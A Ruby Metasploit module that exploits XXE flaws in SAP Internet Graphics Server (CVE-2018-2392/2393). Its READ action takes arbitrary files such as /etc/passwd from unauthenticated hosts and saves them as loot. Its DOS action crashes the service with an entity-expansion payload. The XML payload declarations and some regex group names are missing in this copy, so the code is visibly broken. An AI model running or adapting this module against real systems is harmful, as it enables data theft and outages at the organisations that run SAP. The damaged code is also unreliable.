## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'SAP Internet Graphics Server (IGS) XXE', 'Description' => %q{ This module implements the SAP Internet Graphics Server (IGS) XXE attack. An unauthenticated attacker can remotely read files in the server's file system, for example: /etc/passwd Vulnerable SAP IGS versions: 7.20, 7.20EXT, 7.45, 7.49, 7.53 }, 'Author' => [ 'Yvan Genuer', # @_1ggy The Security Researcher who originally found the vulnerability 'Vladimir Ivanov' # @_generic_human_ This Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-2392' ], [ 'CVE', '2018-2393' ], [ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ] ], 'Actions' => [ [ 'READ', { 'Description' => 'Remote file read' } ], [ 'DOS', { 'Description' => 'Denial Of Service' } ] ], 'DefaultAction' => 'READ', 'DisclosureDate' => '2018-03-14' ) ) register_options( [ Opt::RPORT(40080), OptString.new('FILE', [ true, 'File to read from the remote server', '/etc/passwd']), OptString.new('URN', [ false, 'SAP IGS XMLCHART URN', '/XMLCHART']), OptBool.new('SHOW', [false, 'Show remote file content', true]) ] ) end def get_variables @host = @datastore["RHOSTS"] @port = @datastore["RPORT"] @urn = @datastore["URN"] @file = @datastore["FILE"] @verbose = @datastore["SHOW"] @ssl = @datastore["SSL"] if @ssl @schema = 'https://' else @schema = 'http://' end @data_xml = { name: 'data' , filename: Rex::Text.rand_text_alphanumeric(12) + '.xml' , data: nil } @data_xml[:data] = %{ ALttP #{Rex::Text.rand_text_numeric(4)} } @xxe_xml = { name: 'custo' , filename: Rex::Text.rand_text_alphanumeric(12) + '.xml', data: nil } end def make_xxe_xml(file_name) get_variables entity = Rex::Text.rand_text_alpha(5) @xxe_xml[:data] = %{ ]> <Extension>&#{entity};</Extension> } end def make_post_data(file_name, dos = false) get_variables if not dos make_xxe_xml(file_name) else @xxe_xml[:data] = %{ ]> <Extension>&dos8;</Extension> } end @post_data = Rex::MIME::Message.new @post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"") @post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"") end def get_download_link(html_response) if html_response["ImageMap"] if (download_link_regex = /ImageMap" href="(?.*)">ImageMap/.match(html_response)) @download_link = download_link_regex[:link] else @download_link = nil end else @download_link = nil end end def get_file_content(html_response) file_content = html_response.gsub('', '') end def analyze_first_response(html_response) get_download_link(html_response) if @download_link begin second_response = nil second_response = send_request_cgi( { 'uri' => normalize_uri(@download_link), 'method' => 'GET' } ) rescue => e print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}") if @verbose vprint_error("Error #{e.class}: #{e}") end end fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless not second_response.nil? fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless second_response.code == 200 get_file_content(second_response.body) else print_status("System is vulnerable, but not found file: #{@file} on host: #{@host}") end end def check # Set up XML data for HTTP request get_variables make_post_data('/etc/os-release', false ) # Get linux OS release and added this in MSF Workspase # Send HTTP request begin check_response = nil check_response = send_request_cgi( { 'uri' => normalize_uri(@urn), # @urn - is Option URN (SAP IGS XMLCHART URN default: /XMLCHART) 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{@post_data.bound}", 'data' => @post_data.to_s, } ) rescue => e print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@urn}") if @verbose vprint_error("Error #{e.class}: #{e}") end end # Check HTTP response return Exploit::CheckCode::Safe unless not check_response.nil? return Exploit::CheckCode::Safe unless check_response.code == 200 return Exploit::CheckCode::Safe unless check_response.body.include? "Picture" and check_response.body.include? "Info" return Exploit::CheckCode::Safe unless check_response.body.match? /ImageMap|Errors/ # Get OS release information os_release = "" analyze_first_response(check_response.body) if @file_content if (os_regex = /^PRETTY_NAME.*=.*"(?.*)"$/.match(@file_content)) os_release = "OS info: #{os_regex[:os]}" end end # Report service if os_release != "" ident = "SAP Internet Graphics Server (IGS); #{os_release}" else ident = "SAP Internet Graphics Server (IGS)" end report_service( host: @host, port: @port, name: 'http', proto: 'tcp', info: ident ) # Report and print Vulnerability report_vuln( host: @host, port: @port, name: self.name, refs: self.references, info: os_release ) Exploit::CheckCode::Vulnerable(os_release) end def run case action.name when 'READ' action_file_read when 'DOS' action_dos else print_error("The action #{action.name} is not a supported action.") end end def action_file_read # Set up XML data for HTTP request get_variables make_post_data(@file, false ) # @file - is Option FILE (File to read from the remote server, by default: /etc/passwd) # Send HTTP request begin first_response = nil first_response = send_request_cgi( { 'uri' => normalize_uri(@urn), # @urn - is Option URN (SAP IGS XMLCHART URN, by default: /XMLCHART) 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{@post_data.bound}", 'data' => @post_data.to_s, } ) rescue => e print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@urn}") if @verbose vprint_error("Error #{e.class}: #{e}") end end # Check first HTTP response fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless not first_response.nil? fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless first_response.code == 200 fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless first_response.body.include? "Picture" and first_response.body.include? "Info" fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless first_response.body.match? /ImageMap|Errors/ # Report Vulnerability report_vuln( host: @host, port: @port, name: self.name, refs: self.references ) # Download remote file analyze_first_response(first_response.body) if @file_content if @verbose print_good("File: #{@file} content from host: #{@host}\n#{@file_content}") end loot = store_loot('sap.igs.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XXE') print_good("File: #{@file} saved in: #{loot.to_s}") else fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") end end def action_dos # Set up XML data for HTTP request get_variables make_post_data(@file, true ) # Send HTTP request begin dos_response = nil dos_response = send_request_cgi( { 'uri' => normalize_uri(@urn), # @urn - is Option URN (SAP IGS XMLCHART URN default: /XMLCHART) 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{@post_data.bound}", 'data' => @post_data.to_s, }, 10 ) rescue Timeout::Error report_vuln( host: @host, port: @port, name: self.name, refs: self.references ) print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}") rescue => e print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@urn}") if @verbose vprint_error("Error #{e.class}: #{e}") end end # Check HTTP response fail_with(Failure::NotVulnerable, "#{@schema}#{@host}:#{@port}#{@urn}") unless dos_response.code != 200 end end